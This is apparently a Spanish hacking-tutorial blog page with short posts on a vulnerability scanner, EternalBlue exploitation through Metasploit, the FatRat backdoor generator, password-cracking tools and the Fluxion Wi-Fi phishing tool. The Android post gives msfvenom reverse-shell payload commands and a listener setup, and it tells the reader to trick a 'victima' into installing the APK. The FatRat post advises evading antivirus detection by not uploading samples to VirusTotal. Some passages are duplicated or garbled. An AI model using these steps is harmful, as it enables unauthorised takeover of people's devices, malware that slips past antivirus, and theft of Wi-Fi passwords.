vscan herramienta de escáner de vulnerabilidades

(VSCAN) 

Herramienta de escáner de vulnerabilidades es el uso de scripts nmap y NSE para encontrar vulnerabilidades.

Que es:  

Esta herramienta pone un valor adicional en el análisis de vulnerabilidades con nmap. Utiliza los scripts NSE que pueden añadir flexibilidad en términos de detección y explotación de la vulnerabilidad. A continuación hay algunas de las características que proporcionan los scripts NSE  

• Detección de redes  
• Más sofisticada detección de versión  
• detección de vulnerabilidades  
• la detección de puerta trasera  
• la explotación de la vulnerabilidad 

La herramienta realiza la siguiente:

• comprobar la comunicación a los hosts de destino por cheking peticiones ICMP 
• toma como entrada un nombre de protocolo, como http y ejecuta todos los scripts NSE relacionados con ese protocolo 
• si alguna vulnerabilidad provoca que guarda el resultado en un archivo de registro 
• puede realizar todas las acciones anteriores para un rango de direcciones IP 

Instalación:

Lo primero clonaremos el repositorio:  https://github.com/xvass/vscan

lo siguiente sera darle permiso ejecutaremos el siguiente comando andentro de la acarpeta vscan: chmod +x 

 

ya por ultimo lo ejecutamos.

Como se usa: 

[Usage:] ./vscan.sh <ip_range> <protocol> <port> <Pn (optional)> 

[Usage:] ./vscan.sh <ips_file> <protocol> <port> <Pn (optional)> 

[Usage:] ./vscan.sh <ip> <protocol> <port> <Pn (optional)>

Ejemplo: 

./vscan.sh 192.168.1..1  port 80

Si la herramienta encuentra un vulnerabilidad en un determinado protocolo Mantiene la salida en un archivo de registro que se crean y se guardan en la siguiente ubicación. 

("/home/vulnerabilities_enumeration/http_vulnerabilities/http_vulnerabilities/http_vulnerabilities.txt")

espero les sea útil....

Leer Más

Explotando la vulnerabilidad EternalBlue MS17-010

Explotando vulnerabilidad EternalBlue MS17-010

Afecta a :

Microsoft Windows Windows 8/2012 R2 (x64)

Nombre del módulo:

Exploit / ventanas / SMB / ms17_010_eternalblue

vamos a explotar: 

Entramos a metasploit y buscamos el módulo a usar.

use  Exploit / ventanas / SMB / ms17_010_eternalblue

 

Luego de esto veremos las opciones y las configuraremos. (como vemos lo único que modificaremos es el rhost lo demás lo dejamos así )

 

procedemos a lanzar el exploit

 

como vemos obtuvimos una shell remota ahora todo queda a nuestra iamaginación.

 

Leer Más

Como Instalar FatRat (Generador de Backdoor)

FatRat

Que es:

Una herramienta fácil para generar backdoor y herramienta fácil de post ataque de explotación como el ataque del navegador, dll. Esta herramienta compila un malware con la carga útil popular y luego el malware compilado se puede ejecutar en windows, android, mac. El malware que se creó con esta herramienta también tiene la capacidad de omitir la mayoría de la protección de software AV.

Como se instala:

Lo primero que vamos hacer es clonar el repositorio desde github
https://github.com/Screetsec/TheFatRat.git 


luego de clonar el repositorio vamos a instalarlo pero para ello hay que darle permisos al setup. lo hacemos de la siguiente manera: chmod +x setup.sh 

Luego de los permisos procedemos con la instalación, ejecutamos lo siguiente: ./setup.sh  (en caso de no tener instalado un complemento el mismo setup lo descarga e instala.)

 

Una vez finalizado aparecera esto.

 

Ejecutandolo:

para poder usarlo tenemos que darle permiso a dos archivos de la siguiente forma tecleamos esto:  chmod +x fatrat  chmod +x powerfull.sh

 

  ya cono esto si lo ejecutamos de la siguiente manera: ./fatrat 

 

Nota: si quieres verificar el backdoor no subir a VIRUSTOTAL ya que las firmas son enviadas a las compañias de AV  subirlo a http://www.nodistribute.com/  es lo unico que piden los desarrolladores.

 

ahora si por fin ya lo pueden usar.

Leer Más

Como Usar Hash Identifier

Hash Identifier

Que es:

Software para identificar los diferentes tipos de hashes utilizados para cifrar datos y especialmente contraseñas.

Algoritmos de encriptación que identifica son:

• Domain Cached Credentials
• XOR-32
• MD5(Half)
• MD5(Middle)
• MySQL
• MD5(phpBB3)
• MD5(Unix)
• MD5(Wordpress)
• MD5(APR)
• MD2
• MD4
• MD5
• SHA-1
• SHA-1(MaNGOS)
• Tiger-160
• Tiger-192
• md5($pass.$salt) - Joomla
• SHA-1(Django)
• SHA-224
• RipeMD-256
• SNEFRU-256
• md5($pass.$salt) - Joomla
• SAM - (LM_hash:NT_hash)
• SHA-256(Django)
• RipeMD-320
• SHA-384
• SHA-256
• SHA-384(Django)
• SHA-512
• Whirlpool
• y muchos mas.

 Como se usa:

Por defecto ya viene incorporado en Kali Linux.

enlace de descarga: https://code.google.com/archive/p/hash-identifier/downloads

Para utilizarlo nos vamos a la parte herramientas y nos dirigimos a donde dice passwords allí buscamos Hash Identifier nos aparecera esto.

Ahora lo que tenemos que hacer es colocar el hash y dejar que la herramienta haga su trabajo.

 

y nos mostrará las posibles encriptaciones

 

  

Leer Más

Como instalar John The Ripper

John The Ripper

Definición:

Es un programa de criptografía que aplica fuerza bruta para descifrar contraseñas. Es capaz de romper varios algoritmos de cifrado o hash, como DES, SHA-1 y otros.

 Instalación:

abrir una terminal y copiar

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz

Descomprimir

tar -xzvf john-1.8.0.tar.gz

 

entrar a la siguiente ruta o a donde lo instalaron copian y pegan

cd john-1.8.0/src/ 

make clean generic

 

por ultimo hacemos el test

 

ya lo podemos usar

Leer Más

Instalar y usar Data Recovery Wizard

Instalar y usar Data Recovery Wizard

Descripción:

EASEUS Data Recovery Wizard restaura ficheros eliminados incluso de discos formateados. También puede recuperar particiones que han sido borradas manteniendo la estructura de archivos.

La pantalla inicial del programa nos da tres opciones: Recuperar archivos eliminados, restaurar todos los ficheros de una partición o restaurar la partición misma.

Tutorial:

Leer Más

Instalar y Corregir errores de fluxion en kali linux

Instalar y Corregir errores de fluxion

Que es fluxion:

Fluxion es una nueva herramienta para realizar auditorías de redes inalámbricas Wi-Fi. - See more at: https://www.redeszone.net/2016/09/28/fluxion-una-nueva-herramienta-obtener-claves-wi-fi-wpa-wpa2-ingenieria-social/#sthash.1hc8CGFh.dpuf

Es una nueva herramienta para hacer auditorias de seguridad inalámbrica. su funcionamiento es similar a wifite lanzando ataques de ingeniería social para que el usuario la coloque la contraseña y verificar si es la correcta.

si has tratado de instalar  fluxion te darás cuenta que te muestra errores que faltan ciertos componentes para instalar antes de ejecutarlo, pues  esta vez veremos su instalación y como corregir los errores de los componentes faltantes.

los errores de componentes son los siguientes:

dhcp-server
hostapd
lighttpd
php5-cgi


Como instalar

lo podemos hacer de dos formas.
1. clonando desde github
2. descargando desde acá:  Fluxion

abrimos una terminal , vamos al directorio donde esta y lo desempaquetamos (Descargas, Documentos, Escritorio, etc).
colocamos: sudo unzip fluxion-master
entramos al directorio cd fluxion-master luego lo corremos de la siguiente forma ./fluxion
veremos que nos muestra unos errores de color rojo, comenzamos a corregirlos.

abrimos una nueva terminal y colocamos lo siguiente:
leafpad /etc/apt/sources.list

luego de esto colocamos la lineas para los repositorios desde la pagina oficial de kali linux  

http://docs.kali.org/general-use/kali-linux-sources-list-repositories

luego guardamos cambios, en la terminal colocamos lo siguiente , apt-get update esperamos que actualice, luego colocamos lo siguiente.

apt-get install isc-dhcp-server

esperamos que instale luego colocamos.

apt-get install hostapd

esperamos que instale luego colocamos esto

apt-get install lighttpd

para la instalación de php5-cgi debemos hacer lo siguiente, en una terminal nueva colocamos esto 

leafpad /etc/apt/sources.list y copiamos lo siguiente.  

deb http://old.kali.org/kali sana main non-free contrib, quedando de la siguiente forma

guardamos los cambios y ejecutamos lo siguiente: apt-get update esperamos que actualice y ejecutamos lo siguiente.

apt-get remove php5 php5-common php5-mysql php5-xmlrpc php5-cgi php5-curl php5-gd php5-cli php5-fpm php-apc php-pear php5-dev php5-imap php5-mcrypt

esperamos que termine y luego ejecutamos, apt-get install libapache2-mod-php5 esperamos que termine la instalación.

ya para terminar ejecutamos 

apt-get install php5-cgi

esperamos que termine de instalar, ahora ya podemos ejecutar fluxion sin ningún problema

lo hacemos desde la siguiente forma, entramos al directorio donde lo tenemos guardado o clonado

colocamos ./fluxion y les quedaría de la siguiente forma.

ya con esto estar funcionando fluxion.

Fluxion es una nueva herramienta para realizar auditorías de redes inalámbricas Wi-Fi. - See more at: https://www.redeszone.net/2016/09/28/fluxion-una-nueva-herramienta-obtener-claves-wi-fi-wpa-wpa2-ingenieria-social/#sthash.1hc8CGFh.dpuf

Fluxion es una nueva herramienta para realizar auditorías de redes inalámbricas Wi-Fi. - See more at: https://www.redeszone.net/2016/09/28/fluxion-una-nueva-herramienta-obtener-claves-wi-fi-wpa-wpa2-ingenieria-social/#sthash.1hc8CGFh.dpuf

Fluxion es una nueva herramienta para realizar auditorías de redes inalámbricas Wi-Fi. - See more at: https://www.redeszone.net/2016/09/28/fluxion-una-nueva-herramienta-obtener-claves-wi-fi-wpa-wpa2-ingenieria-social/#sthash.1hc8CGFh.

Leer Más

Como vulnerar un dispositivo Android

Vulnerar un dispositivo Android

Que tal esta vez les enseñaremos a vulnerar android.

primer paso: 
abriremos una terminal en Kali Linux y escribiremos lo siguiente:

msfvenom -p android/meterpreter/reverse_tcp LHOST = tu ip LPORT = puerto a la escucha R > /ruta donde lo guardaras/nombre.apk

Segundo Paso: 

Luego nos quedará el archivo del al siguiente manera:

Tercer Paso: 

Abrimos metasploit y lo configuramos de la siguiente manera:
use exploit/multi/handler
set payload andorid/meterpreter/reverse_tcp
set lhost tu_ip
set lport el puerto que colocaron en el archivo que se creo 
exploit (esto es para lanzar el ataque)

Cuarto Paso: 
Tenemos que mandarlo a nuestra victima y usando ingeniería social hacer que lo instale, una vez instalado se abrirá creara la sesión.

con esto ya tenemos acceso al sistema.

para mas comandos escriben Help.

Leer Más